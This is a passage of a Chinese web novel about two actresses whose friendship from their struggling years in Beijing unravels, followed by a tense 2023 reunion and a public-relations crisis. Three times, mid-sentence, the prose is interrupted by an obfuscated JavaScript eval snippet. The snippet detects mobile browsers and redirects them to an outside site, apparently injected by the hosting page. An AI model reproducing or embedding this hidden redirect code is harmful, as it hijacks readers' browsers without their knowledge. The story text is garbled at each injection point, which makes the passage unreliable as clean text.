她受了恩也不怎么讲话。女人没恼,只是又客客气气地朝她笑一下,转身离开了。 这就是她们的第一次见面。 迟小满没看清陈樾的脸。 全程都结结巴巴。 最后她复盘,发现自己在那天竟然只说了两个“没事”,四个“谢谢”。 因为太痛顾不上。 也因为冰块融得比她想象要快。 而她也没好意思真的再找人要。 在原地歇了会。 就扶着腰,咬着牙,一瘸一拐地爬上电驴,兜里揉着那一百块不到的替身费,从剧组走了。 当天回过神来之后,她觉得懊恼,觉得自己也没说给人好好感谢一下。于是晚上,她躺在宿舍小床上泪眼汪汪地忍着痛,忍着不转身,在心里想——等下一次见面,一定要好好感谢人家。 但她没想到,第二次见面,比她以为得要快很多。 还是在同一个剧组。 因为迟小满心里念着这事。 就时不时回那个剧组看看,寻思着能不能找到人,无论如何请人吃顿饭。 哪怕当时她请得起的,可能只是一碗最便宜的鸡蛋面。 但王爱梅从小就教育她—— 人穷不能没骨气。 那天。 天气还是一样热。 迟小满开着电瓶,在剧组周围马路转转悠悠,找了一会本以为这次也找不见,还有点失落,结果就在个不起眼的巷子里,看见了自己要找到的人。 不过女人似乎正在和谁说话。 迟小满没想着打扰,以为两个人有私事要说,便撑着电瓶车,用自己那双破破烂烂的帆布鞋,踩在地上,慢吞吞地往后移。 结果刚移两步,就看见—— 和女人说话那男的。 突然把她递过去的饮料砸在地上,语气尖酸刻薄, “这么冷我怎么喝啊?” 烈日,阳光惨白。 半透明的汁水溅在地上。 也溅在女人裤脚,湿了她T恤的半边腰腹。 迟小满愣住,撑着电瓶,又努力往前挪,抻着脖子往里看。 便看见—— 女人在原地停了一会。 把饮料杯从地上捡起来。 然后又对那男的微笑着说, “我去换。” 迟小满认出来。 对面那男的是这剧里的主演。 也是她上次替身那场戏的对手戏演员。 上次拍完那场。 这男的还用手扇着风,让人赶快把她抬走别碍自己镜头。 现在,同一个人,又站在帮助过她的这个女人面前,趾高气昂,语气尖酸,“你笑什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506939|186112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人动作顿了一下。 她斜背对着迟小满。 听到这话,嘴角微微敛起来,好像并没有产生任何恼怒。 而那男的从鼻子里“哼”出一口气, “又不是演员,一整天不知道对谁笑?” 谁说不是演员就不准笑了? 迟小满气不打一处来。 当即大声朝巷子里“喂”了声—— “说什么呢!” 她嗓门大,音量响。 这一嗓子,把巷子里两个人都惊得看过来。 接着。 迟小满撸起袖子。 扔下“嘭”地一声摔倒在地面的电瓶车。 当场就火急火燎地冲上去。 巷子里的两个人齐齐回望着她。 迟小满憋足一口气。 走到半道上终于看清女人的脸。 也看清女人望过来的、仿佛是慢镜头的、极为惊讶的眼神。 瞬间又想起句话——某句经由白云村本土哲学家王爱梅女士亲自改编过的、极为经典的名言—— “冲动是魔鬼,尤其是你迟小满。” 一瞬间。 迟小满着急忙慌,憋住腮帮子里那口气。 及时在原地刹车。 叉着腰不动了。 但她估摸着自个表情还是凶神恶煞。 因为那男的像是被她一嗓子吓到。 后退几步。 嘴上说了句“神经病啊”,就慌里慌张地走了。 留下巷口那辆倒在地上因为见义勇为没成功但是却成功牺牲的电瓶。 以及巷子里。 叉着腰表情凶恶的迟小满。 和手上拿着饮料杯表情模糊的女人。 两个人面面相觑。 好一阵。 是女人先犹豫着走过来。 和迟小满面对面站了会。 没忍住问, “你的腰,撑这么久没事吗?” 话落。 像是某种暗示。 腰背上的疼痛迟钝泛上来。 迟小满再也撑不住。 便龇牙咧嘴地倒吸口凉气, “幸亏他走了,痛死我了!” 于是女人笑了。 那是迟小满第一次看清这个女人笑。 当时她没觉得有别的。 就觉得好看。 觉得这人性格肯定挺温柔,连笑声都是轻轻悠悠的。 后来,每次看见这个女人笑,她就会情不自禁跟着一块笑。也在心里想,这个女人天生就该演电影的。 而这天。 女人笑完了。 便从阴影下走出来。 颇为正式地伸出手,对她说, “你好,我叫陈童。” 迟小满愣了会。 终于得以看清女人那张敞在阳光下的脸,也终于明白,刚刚那人为什么那么恨她笑。 因为女人的确长着张得天独厚的脸,怎么也不该在这小剧组里当场务。 不过迟小满长这么大还没这么正式跟人握过手,便在自己衣服上擦了擦,颇为紧张地用两只手捏住了女人细细长长的手指尾端。 也相当正式地介绍自己, “陈童你好,我叫迟小满。” 当时。 她还没想过。 一周后,她会和这个叫陈童的女人搬进那间地下室合租,她们两个会和全世界最伟大的编剧浪浪一起用旧三轮搬家,也会从那天起,一起做一个长达一年的梦。 也没想过,浪浪一直在打磨的那个剧本会被叫作《霓虹》,里面两个女主角,一个叫小鱼,另外一个叫树。 而且她们还和在北京隔断房和地下室里逗留、做大梦的很多个年轻人一样,约好十年后一定把《霓虹》拍出来,也都坚信—— 电影《霓虹》。 编剧浪浪。 迟小满演小鱼。 陈童演树。 一个都不能少。 后来。 她们三个凑了钱,找了天桥下面的盲人阿姨算命。 阿姨说—— 迟小满这个名字命里带红,不该改。 但陈童这个名字不好听。 陈童陈痛,听起来太苦了。 再后来。 迟小满拍了人生中第一个被看见的角色,有一天晚上,她被人追着骂着堵了一条路。 不管对面话说得多难听都不敢还嘴,也不敢像从前那样放肆流眼泪。 因为被拍到就是卖惨。 因为还嘴就是玻璃心没素质。 连家门都被堵着。 迟小满只好在路边抱着膝盖,躲在帽子下吃碗鸡蛋面,没加鸡蛋。 然后她刷到条新闻。 里面有个女演员拍电影接受采访,对着镜头大大方方自我介绍, “我是演员,陈樾。” 陈樾。 陈樾。 迟小满反反复复念这个名字。 然后咧开嘴笑了。 陈樾。 陈悦。 那可能是那段时间,迟小满唯一一个发自内心的笑。 因为她很高兴。 也因为当时。 她还对着那碗忘记加鸡蛋的鸡蛋面,许下那年唯一一个生日愿望—— 希望变成陈樾的陈童,未来每一天,都可以真的像这个名字一样。 天天开心,没有苦痛。 7. 「二零二三」 “没什么不相信的。” 二零二三年。 三十岁的迟小满躺在病床上,几乎是以逃兵的姿态退出这段来自十一年前的视频,也在仓皇失措中退出软件。 整个人在惊悸中去望紧闭的病房房门。 来自二零一二年的视频不长,却让她从看到的第一秒钟起就脸色苍白,被逼出一身淋漓冷汗。 床单再一次被揉得发皱。 迟小满艰难呼出几口气,抬起蜷缩的手指,抹了抹自己发热发酸的眼圈。 然后恍惚想起—— 她好像还是忘了跟陈樾解释电影的事情,也忘了和陈樾说清—— 《霓虹》是她要拍。 但她从没想过十年后要用这件事来打扰陈樾。 而陈樾要来演《霓虹》的瓜条,也从来都不是她让人编的。 刚刚见面那么久,偏偏她一句关于这事的都没说。 也不知道陈樾会怎么想? 会觉得十年过去,物是人非,而她真的打算自己去拍《霓虹》很可笑吗? 会觉得她仍然冲动,仍然不自量力到像是愚蠢吗? 会觉得她在蹭她热度吗? 还是会…… 觉得她那句恭喜也是假的? 又或者。 觉得她是既得利益者,觉得她是胆小鬼。觉得她现在既差劲,又卑劣,把自己活得太糟糕。 连去解释的勇气都没有? 想到这些。 迟小满勉强撑着脖子。 像刚刚一样。 石膏手扶着手机。 另一只手,单手滑开手机,费力地滑了好几下。 点开微博。 她愣住。 因为先于她之前。 陈樾已经发了微博。 【剧本是私人剧本,与谣传无关,请各位不要再发散。 最后。 感谢,祝好。】 和上次她忍不住发了那条微博的结果一样。这次消息传出去,闹那么大。 也同样是陈樾出来替她收拾残局。 这个女人向来宽容,善良,永远不会让人在和她相处时感到不悦。 也怪不得当年,会被迟小满误会成活菩萨普度众生。 而现在,迟小满眼圈泛红地揉紧床单,不知道此时此刻,自己是应该为陈樾的宽容体贴感到庆幸,还是应该因此觉得难过,无助。 因为她似乎很少给陈樾带去过好的事情。从前是因为横冲直撞太冲动,现在是因为已经没有机会。 仓皇间她手没拿稳,手机缓速从掌心滑落,砸落到床沿。 迟小满慌慌张张单手去捡,却因此点进陈樾微博,也猝不及防看到下面的热评。 第一条来自某个营销号的转发,已经有上千条回复。 看清内容之后,手臂和颈部的疼痛钝钝麻麻泛上来。迟小满攥紧手指,指尖抠紧手心,麻木间她几乎感觉自己动弹不得。 因为这条热评看似嘲讽,却替她问出去一句她自己都不敢问的话: 【你是信今天这事真和迟小满没关系,还是信我是秦始皇】 而热评下。 来自陈樾本人的回复异常简短,也异常熟悉: 【没什么不相信的。】 - 和迟小满被管控在宣发团队手里的微博账号不一样。 陈樾的微博不怎么营业,一年到头来也就发这几条。 但今天。 她不仅发了条微博,还在风口浪尖回了营销号一句。 一时之间,舆论四面八方涌过来。 【如果要给娱乐圈体面人评奖,我建议评给陈樾……】 【我受不了了,这评论下面怎么这么多傻白甜?没看见这事一出,陈樾不仅得了热度,还白得了好名声?】 【这名声给你你要不要啊?人拿影后热度和名声本来就够了吧?好心解释一句还又惹一身骚,我真是怜爱了。 【迟小满我也怜爱好吧。 人可是撞了车实打实地受了伤啊,被人说蹭热度也就算了,你看这评论区多少黑粉搅混水,还说让她住院住久点?这说的是人话?】 【为什么你们不能想点好的?一定要把两个女演员之间想得这么勾心斗角吗?我真是服了。我请问这个世道能不能对女演员好一点?】 机场,小棋紧急浏览舆论状况。 心有余悸地对旁边正戴着鸭舌帽阖眼休息的陈樾说, “姐,你以后可不能这么冲动了。” 目前来看,这事的确对她们这边没什么影响。 但要闹久了也就不一定了。 舆论瞬息万变。 一眨眼,黑的能给转成白的,白的也能转成黑的。 “好,我知道了。” 陈樾清楚小棋语气里的担忧不是假的,停了一会,也点了头, “我是不是添麻烦了?” 小棋听她答应,松了口气, “这算什么麻烦?根本也不是这么大事,就是这边媒体都喜欢把事情夸大其词,我刚给沈姐打了电话,她也说没事,你自己的微博,想解释就解释,想发就发呗。只要平时不发些发不了的东西就好。” “那她呢?” 陈樾轻声细语地问, “我发这条微博是不是反而对她不好?” “迟老师那边吗?” 小棋想了下刚刚看到的评论——给迟小满出来说话的声音是多了些,觉得她们两个中间压根没什么事的声音也出来了。不过…… “现在也不知道具体情况。一般来说,把事情解释清楚过几天就没什么了。” 其实这条解释微博怎么说也不算冲动,那些风风雨雨的谣言,说明白了反而对双方都好,也能早点了事。只是……就怕有人在中间搅混水。 小棋注意到陈樾揉了揉眉心,实在没忍住,“姐,你是不是和迟老师之前就认识啊?” 陈樾揉眉心的动作停了一下。 她分开双唇。 似乎习惯性在笑,似乎又没有,“怎么会这么问?” “这事吧其实稍微往深想点,就清楚了……”小棋谨慎开口, “我刚刚还看见,她经纪人宋莺莺,手底下有个男艺人昨天刚闹出出轨还让女友打胎的事……这事明摆着,是她经纪人拉她下水,用她流量给那男艺人挡丑闻。” 这种事情在这个圈子里并不少见。陈樾没因此产生太多惊讶。她低着眼,不讲话。 小棋看她隐在帽檐阴影下的面部轮廓,叹了口气,“我们这边吧,其实就把这事放着,过段时间也就过去了。” “只是你现在这样特意出来解释,不也把你自己给扯进去了吗?” “我知道。” “知道那为什么还?” 前往香港的飞机即将起飞。陈樾轻轻地说,“因为如果我不解释,可能会有人认为我是默认。” 小棋一愣,“默认什么?” 陈樾停了一会。 侧脸对小棋很柔和地笑, “默认我讨厌她,厌恶她,默认我嫌弃她蹭我热度,默认我恨她……” “甚至以后每一次。” “我们的名字摆在一起,都会有人说她……都会有人提起这件事。” “我不想她被人说成那个样子。” 今夜春雨纷飞,她辗转未停,风尘仆仆,最后轻声说, “至少不能是因为我。” 最后一句话。 尾音被机场外噪声吞进去,以至于小棋险些没有听清, “因为我可能不恨她。” 也让小棋忽然想起,陈樾家里一直有张被盖起来的合照,合照里有三个人。 一个人是陈樾自己,戴着一副现在看起来有点土的扁圆眼镜,笑眼在模糊的像素下显得温柔。 另外一个女人有一头爆炸金黄色卷毛,也有一张任何人看了都陌生的脸。 而最中间那个稍微年轻点的女孩,则是被涂黑了五官,只剩下那头看起来也有些乱糟糟,像杂草,又像火的头发,和被黑色笔用力画去,变淡变模糊几乎无法看清五官,却仍然显得炯炯的眉眼。 想起这件事的小棋。 再次看向陈樾隐在帽檐下的倦懒眉眼,忽然心里产生某种惊惧的猜测—— 合照中间那个被涂了脸的女孩。 该不会是迟小满吧? - 陈樾发微博后的两个小时。 迟小满出了院,回到自己在北京常住的房子。 第一件事。 她给经纪人宋莺莺打去电话。 她抱着自己的石膏手,几乎一夜没阖眼,坐在冰冷的楼梯上,等待电话接通,疲倦不堪地对宋莺莺说, “你能不能别把陈樾扯进来?” 九年前。她和宋莺莺签下经纪合约。那个时候她是个什么都没有的新人,唯一能抓住的救命稻草就是宋莺莺,知道这可能是自己唯一一次靠近梦想的机会,也在那时不得不同意合同上和公司一比九的分成比例。 这么多年下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506940|186112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,宋莺莺倒是没逼她去做过什么乱七八糟的,更从来没和她撕破过脸皮。 但合作这么多年,她不是不清楚宋莺莺操控舆论的手段。 眼下陈樾出来解释,正好是宋莺莺求之不得的。 听到她电话打过去,劈头盖脸就只说这一句,宋莺莺在电话里头笑了声, “看来我们大明星身体是没事了?出院第一个电话就是骂我?” “也不谢谢我给你处理后面的事情,从昨天忙到现在连口水都没来得及喝?” 这话是真的。 虽说宋莺莺的手段让迟小满无法苟同。 但某种程度上。 她也的确是个合格的经纪人。 但不管怎么样。 她都不能让陈樾被扯进去,“无论你接下来要做什么,都不要把她扯上。” 宋莺莺可能是念着她身体,希望她尽快恢复不要耽误太多后面的行程。 也没跟她啰嗦, “可以。” 没想到宋莺莺答应得这么爽快。 迟小满准备好的一揽子话反而没能往出说出来。 她抿了抿唇。 不知道是不是要挂电话。 宋莺莺那边也的确是忙,到处都有人喊她和她说话。她接了几句。 得了空才问迟小满, “迟小满,你觉得我现在做些什么,才能让你愿意和我续约?” 平心而论,迟小满挺佩服宋莺莺尤其强大的心理素质。上一秒还在暗地里做些不痛不痒的手段利用她,下一秒又能心平气和谈条件。 不过这些年迟小满脾气收敛不少,冲动不起来,也没有非要争口气。她精力不济地扶着额头,轻声说, “再说吧。” “行,那我不耽误你休息。” 宋莺莺挂了电话。 迟小满拿着手机,坐在台阶上发呆。 宋莺莺是个聪明人。 向来最懂舆论反噬的道理,也向来最懂给个巴掌再给甜枣的规则。 电话里听见还有可以和她谈条件的机会。 哪怕知道她这可能是应付,也会先哄着她,应该是真的会去想办法把事情平息下来。 更何况,事情闹太久,对宋莺莺也没太多好处。 坐在楼梯上,把事情来龙去脉想好。迟小满整个人也没放松下来,没忍住去看了眼微博上的消息。 幸亏陈樾在圈内基本没树敌,经纪人似乎也不像宋莺莺那样有野心。就算这几年陈樾除了拍电影没什么曝光,她经纪人也都是由着她。 只要宋莺莺不趁机利用陈樾的热度,用她那些常用的发通稿、请大量活人水军带偏节奏,甚至是些迟小满从来都无法得知的手段。 微博上就暂时没多少人对陈樾有异词。 至于之前和迟小满争执陈樾没去尼泊尔当志愿者的那人,现在也没了动静。 只要不沾上她迟小满。 陈樾就可以永远风平浪静。 迟小满抱着膝盖,坐在楼梯上好久,等到手脚都麻痹,冷汗逐渐冰凉,像从地下室爬出来的蜘蛛阴寒间攀在她皮肤上。 才终于看到她的工作室发了澄清微博,也看到陈樾微博下的评论都转好。 还看到最初发那条瓜条的营销号把微博删除,于是被所有人追讨。 而“陈樾迟小满”这两个并排在一起的名字慢慢从微博热搜上消失不见。 变成单独的、完全没有任何关系的两个词条。 #陈樾影后 #迟小满出院 而点进去陈樾的词条。 广场第一条。 就已经是陈樾在金像奖获奖时的获奖感言内容。 长达一分钟的视频。 封面是陈樾。 她穿着礼裙站在闪闪发光的地方,手里拿着闪闪发光的奖杯,脸上美丽动人的笑容也有种遥远的闪闪发光。 迟小满连一秒钟都不敢看。 那时太阳高高挂起。 她放下手机。 艰难仰头,躲在自己在北京的阳光房里,长长舒出一口气。 然后。 真心实意地提了提唇角。 她是对的。 只要不沾上她,陈樾就还是那个低调敬业的,闪闪发光的,从来不会被人用最坏的恶意去推测的…… 影后。 而迟小满最好永远像此刻一样,既能够真心实意为她感到高兴。 也从来都不会去渴望,能有再次与她亲密无间的机会。 8. 「二零二三」 这天心力交瘁,结束后迟小满终于能躺到床上,迷迷糊糊间,却又突然想起宋莺莺之前给《霓虹》的评价—— “你这本子没亮点没争议点,更没什么大众爱看的情绪爽点,整篇下来两个女主连场像样的亲密戏都没有,故事俗套,公路片小众,人物幼稚,基调压抑,还有那么多影射业界的内容……” “像这样的本子,北京每个电影公司外的垃圾桶里每天都能收到几百个。” “就是个普通得不能再普通的故事。别说投钱进去,等真拍了出来,你迟小满的名字一辈子都得和这烂片儿凑在一起。” “还有,你知道这消息传出去,别人会怎么说你吗?” “会说你拍电影是帮人洗钱希望你快点被抓,说你疯了想尽方法圈钱……” “是,这些现在是些黑粉的谣言没错。但谣言传着传着,不知道哪天就会有人开始斩钉截铁说是真的了。你出道这么多年,不会不懂这个道理。” “迟小满,你是不是到现在还不清楚你自己是什么人?” “你知道你那快到一亿的粉丝里有多少人是因为讨厌你想要骂你,想要随时把你做的事、说的话截图出去断章取义才来关注你的吗?” “你知道你拍出来的东西,每一帧都会被放大、审判吗?” “这个情况,有哪个演员不怕被人一帧一帧截出来审判还敢进你的组?哪个投资人不怕回不了本敢给你投钱?行,你自己投自己拍,到时候倾家荡产拍了个烂片出来成为陈年老鼠屎,你的星途也未必能有现在顺利。” “迟小满,作为你的经纪人,我现在负责任给你一句忠告。” “你今年都三十了,还去做什么孤注一掷对抗全世界的梦,不会有人支持你,每个人都会觉得你既愚蠢又可笑。” 其实迟小满没想着非得自己做导演,如果能找着合适的、风格和理念契合的导演最好,那也不必把她的名字加上去惹人嫌。 找不到,她就只能自己上。大不了最后也不署她的名。 这是她去找那些制片人时做的打算,但没想到,事情就这么被爆了出去。 这是浪浪的本子,她不敢放心交给“市场至上”的班底。因为如今的电影市场不比从前,有话语权的也从来不会报着“尊重艺术”的心理。 更何况。 迟小满从来没想说要违抗全世界,也没想过非得要拍出来什么惊世骇俗的东西。 说她孤注一掷也好。 说她傻也罢。 她只是觉着,《霓虹》这个故事没人说得那么不堪。 它是个好故事。 只是在市场价值和大众眼光里,可能没有那么出色。 但这并不代表它没有价值。 更不代表,它就连被拍出来都不配。 她也觉着,十年之前她没做到的事情那么多。十年之后,她想再试一次,看看自己可不可以做到。也算是对得起二十岁的自己,和直到最后都那么相信她,愿意把剧本交到她手里的浪浪。 况且。 这件事也没有那么可笑吧。 睡着之前,迟小满精疲力倦地想。 反正不管如何。 她愿意为自己的选择承担所有坏结果。 当然,前提是。 只是她自己。 - 醒来之后迟小满仍然觉得很累。 已经很久了,睡觉对她的身体来说不算休息,反而是种折磨。 从凌晨到白天。 这会太阳已经晒到眼皮子上。 昨夜开的电视机也没关,里头仍旧在播着部她从前最喜欢的香港老电影,主人公在蓝天白云下讲着粤语,演着些离她很遥远的爱恨情仇。 迟小满盯着电视机发了会怔,实在没力气,才想起自己从昨天到现在也没吃什么东西,又想起后面的行程也推不了多久,不管怎样,为了不耽误事,她还是得吃点。 方阿云这几年身体不好,昨天晚上跟着她忙上忙下,也一直没休息好。 迟小满不想打扰她。 就自己下床,勉强走到厨房,单手烧了开水,撕包装袋,给自己泡了碗面。 但一只手总归不方便。 她再小心,也难免弄出些丁铃哐当,和让自己疼得龇牙咧嘴的声响。 刚把那不知道半开不温的水泡进去,方阿云就揉着眼睛走出副卧房门,看见她桌边上摆着的狼藉,和她那碗盖都没怎么盖全乎的泡面,皱了下眉。 迟小满没想着把方阿云闹醒,有些抱歉,“我把你吵醒了吗?” 方阿云摇摇头,过来把她那碗都没来得及盖严的泡面端走。 “哎——” “不用了,你去休息。”迟小满怕她又因为自己忙起来,下意识伸手去护,“我吃这个就好,别浪费了。” 但她现在这个状况。 哪能抢得过年过五十八却仍旧身手矫健的方阿云。 泡面被方阿云端走。 迟小满很无奈地仰着脖子去和方阿云对视,也试图再次劝方阿云去睡,“其实真不用。” 方阿云没管她。 自顾自打开她的泡面。 看了眼里头,又抬眼看她,叹了口气。 迟小满和她眼神对上。 猜她没准是想说——怎么都不给自己加个蛋? 便弯眼笑了笑,“懒得麻烦嘛。” 方阿云也没跟她争,只在厨房操劳着,重新给她做了碗热气腾腾的手工面。 那碗煮了会的泡面倒是也没倒掉,被方阿云重新加了工,闷头端到餐桌上。 北京繁华地段宽敞明亮配备阳光房的顶楼大平层,干净整洁的餐桌,两碗面。 一碗手工面,加了青菜虾仁牛肉和蛤蜊进去,还有一颗卧在表面的溏心蛋。 一碗之前没煮好重新加工的泡面,加了点那碗没能放进去的余料。 方阿云二话不说。 把手工面放在迟小满面前。 迟小满看方阿云眼疾手快。 皱了皱眉。 也努力仰着脖子不动,坚持把自己这边的料一片一片给方阿云夹进去。 方阿云刚开始还拦,后面发现她非要,怕她动多了扭到脖子,便也随着她。 等到面里的料勉强分到一人一半。 迟小满才心满意足地去吃自己这边这碗。 方阿云厨艺很好,简简单单做碗面。对迟小满来说也算是美味佳肴。 刚仰着脖子费力吸溜了一口。 迟小满就忙着给她竖了个大拇指,“好吃!” 方阿云点点头。 看她吃得高兴,也才愿意去吃自己碗里那碗。 迟小满看方阿云终于下筷,也才松了口气,慢慢吃面。 不比之前。 她现在吃东西慢。 一口要嚼好几下,才能慢慢吞下去。 方阿云倒是比她吃得快很多。 吃完了也没急着走,就在对面,慢慢柔柔地看她。 迟小满被方阿云用这种眼神望着。 没回望,只笑了笑,“阿云阿姨,你是不是有什么想和我说的?” 方阿云摇摇头。 过了几秒。 又点头。 然后找了老花镜戴上,在手机上打字。 经过好几年的学习,她的打字速度已经能和不少小年轻媲美,也因为迟小满学习了不少冲浪用语。 这么久了,不少人都对迟小满身边有这么一个五十多岁、不会讲话的助理感到奇怪,觉得这不是忙没帮到反而还耽误事吗? 但迟小满不这么觉得,也从来都不对那年自己在宋莺莺面前坚持说要用方阿云当助理,而感觉到任何后悔。 方阿云打完字,把手机屏幕上很大一粒的字伸过来给迟小满看, “小满老师,谢谢你今天陪我吃饭。” 迟小满仰着脖子去把这行字念出来,也弯眼笑了笑,放下筷子,颇为正式地说,“阿云阿姨,也谢谢你今天陪我吃饭。” 方阿云也笑。 她笑起来并不算开朗,和她性格一样,慢慢柔柔,眼角皱纹在阳光下闪闪发光。 “小满老师,你辛苦了。”笑了一会,她把嘴角敛起来,又打字给迟小满看。 迟小满以为她说的是昨天晚上的事情,便也只是不太在意地笑了笑,又很勉强地抬抬下巴,当作摇头, “不辛苦不辛苦。” 方阿云看了她一会。 继续打字,“要拍电影会很辛苦。” 说实话。方阿云手机上的字真的很大。一句话,基本就占据半个屏幕了。 迟小满看了一会。 觉得自己的眼睛被那几个字胀着,都有点发疼了。 好一会,才低下眼,笑,“也不辛苦。” “应该的。” 过了一会。 她这样说,“答应的事就要做到,不是吗?” 迟小满不知道,方阿云是不是唯一一个不觉得她傻的人。她也说不清楚,十年后自己一定坚持做这件事最大的动力和原因到底是什么。 可能是执念。 可能是怀念。 宋莺莺的话她不是没有听进去,消息爆出来后网上的嘲讽和骂声,她也不是没有看见。 甚至是电影拍出来之后,结果可能也并不如她所想——这一点她不是没有去预料,更害怕到头来,反而是自己把浪浪的剧本毁了。 但…… “我还是觉得《霓虹》是个好故事。” 把最后几口面很珍惜地吃完,迟小满再次对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506941|186112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方阿云笑,也说, “也一定会让浪浪在大荧幕上被署名的。” “只是……”她开了这个头,话却没能说下去。 方阿云看着她,没继续打字,好像等着她继续往下说。 迟小满笑了笑。 看着方阿云的眼睛,轻轻地说,“也没什么。” 只是。 无论如何,主演都已经不可能是她和陈樾了。 这件事也不是非要说出来,才足够清楚明了。 - 但电影真要拍,是个难事。 光是开机筹备就要花不少时间,找投资人,和她志同道合的制片,愿意跟她共同冒险的演员,风格适配的摄影美术副导演,整套愿意对《霓虹》这个本子心服口服的班底……缺一不可。 目前这个情况。 她连个像样的投资人都找不到,也暂时没能找到对这个本子另眼相看的制片。 何况要迅速把班底组建起来? 不过这件事已经等了十年。 迟小满不急,更不想等了那么长时间,花了那么多心思,到头来却组成一个草台班子。 况且她自己的合约也还没解决。 撞车的伤养了几天。 网上关于“她和陈樾拍电影的消息”落幕,被圈内屡见不鲜的新消息盖下,没人再想起来讨论。 迟小满马不停蹄离开北京,拆了颈套,手上的石膏换成不那么扎眼的绷带,去国外拍商务,又回国去不同城市出席平台活动,跟之前的剧组宣传。 再回北京,已经快要六月。 入了夏,北京热起来,路上行人都换上夏季短衫。只不过好像和之前迟小满在忙碌中抽空回到这里时没什么区别,仍旧行色匆匆,埋入不同高楼大厦的冷气中。 车从机场开回住处的路上。 迟小满抓紧时间和之前合作过的一位制片联系,却被从车窗晒进来的太阳晃了下眼。 和制片约好见面时间,挂了电话。她看见那些金光灿灿的街道。 恍惚间车转弯。 迟小满瞥见个熟悉的路牌,看见窗外的高楼大厦,愣了片刻,才发现这里已经和记忆中的老街旧招牌有了出入。 这里是幸福路。 却不是她记忆中的幸福路。 惊悸中迟小满让司机停了车,让其他人先回去休息。 自己压低鸭舌帽帽檐。 捂紧口罩。 下了车,在极为陌生的高楼大厦间迷迷糊糊地转了挺久,都没找着从前的香水巷,倒是碰见之前常去的面馆。 面馆名字也挺有意思。 就叫幸福面馆。 印象中第一次来北京,迟小满在这里吃了自己第一顿饭。当时还高兴得不得了,觉着自己刚落地就遇着幸福面馆,欢天喜地地觉着,只要吃了幸福面馆的面,以后就真的能幸福,走上康庄大道。 大概是行政规划没把幸福面馆划进去,那边的香水巷早已变成高楼大厦,幸福面馆却仍然是当年那个红底黄字招牌,挂着沓不讲究的厚塑料布,上面粘着不少油烟,对着进店出店的客人迎来送往。 黄昏时刻,夕阳在脚下成了影子。迟小满在门口踩着自己的影子,踌躇不前。 自从她搬出幸福路,就再也没来过这里。既怕触景生情,又怕偶然碰见陈樾。 只是现在。 她既也没了触景生情的机会,也没可能还会再这里碰见常居香港、甚至心甘情愿去尼泊尔当志愿者,都再也不会回北京,不会来这里的陈樾。 既然两种可能都没有,又是个偶然的机会。 迟小满决定进去。 她捂紧口罩低着头,掀开那塑料布,想找个角落坐着,但刚一踏进去,就和那正端面出来的老板正面碰上—— 以前迟小满总觉着,人要多说些好话,少说些丧气话,日子才会过得顺。从前她们经常来这里吃面,也是这个道理。 但那个时候日子苦,经常点面不加蛋,有的时候光景不好没多少活,特别苦,还两个人三个人分着吃一碗。老板觉得她们可怜,偶尔还会多给她们下点。 也不知道老板还能不能认得她。 迟小满捂紧口罩,站在门口忐忑地想。 但老板瞅见她站在门口不进来,便只是把手里那碗面端给客人,和她隔着点距离,用围裙擦了擦手,看着她这边,笑着问, “又来吃面啊?” 没想过老板还能认得她。 迟小满有点发懵,张了张唇,仓促间不知道如何回答。 但她还没来得及回应。 便从身后听见声朦朦胧胧的笑。 也听见那道熟悉到洇在她骨子里的女声,带着笑意,从她身后清晰而缓慢地出现, “嗯,还是一碗鸡蛋面。” 9. 「二零二三」 真要说从没去想过,有一天能在幸福面馆和陈樾各自光鲜亮丽地碰见,是假的。 在迟小满对于这个场景的设想里—— 一定是深夜,幸福面馆挂着那盏黄旧老灯,头顶飞蛾纷飞,她会和陈樾面对面坐着,各自客客气气地道声“你好”,最后再和和气气微笑着分开。 像两个人都放下那不值一提的旧过往,各自过上十年前做梦都想要的坦荡新人生,有了最合适的结局。 可真要到了这天。 迟小满却发现——如果不是陈樾主动和她打招呼,并且不计前嫌地邀请和她坐同一张桌子,自己可能连声“你好”都说不出来。 这大概也是她即使想好如何应对,却也始终避着,不敢再踏进这条路的原因。 饭桌上。 两碗热气腾腾的面被端上来,这么多年老板只涨价两块,份量却没半点偷工减料。水蒸气在她们中间飘摇,模糊了对上的视线。 最开始她们没人说话。只有旁边那桌有人窸窸窣窣地讨论着—— “这边什么时候拆的?” “就这一两年吧。” “刚拆的?” “对啊,听说这香水巷楼里有个钉子户,好几个月都挺着不让拆。到去年年底才总算签了字。” “这不,这钉子户一签字,那地下室前几年还住了不少北漂小年轻,也都一窝蜂地像蚂蚁逃难那样搬了出来,一眨眼,楼也就建了起来。” 迟小满低头,拿起筷子,想要去把自己那碗面挪过来。 却连碗边都没碰到—— 因为在那之前。 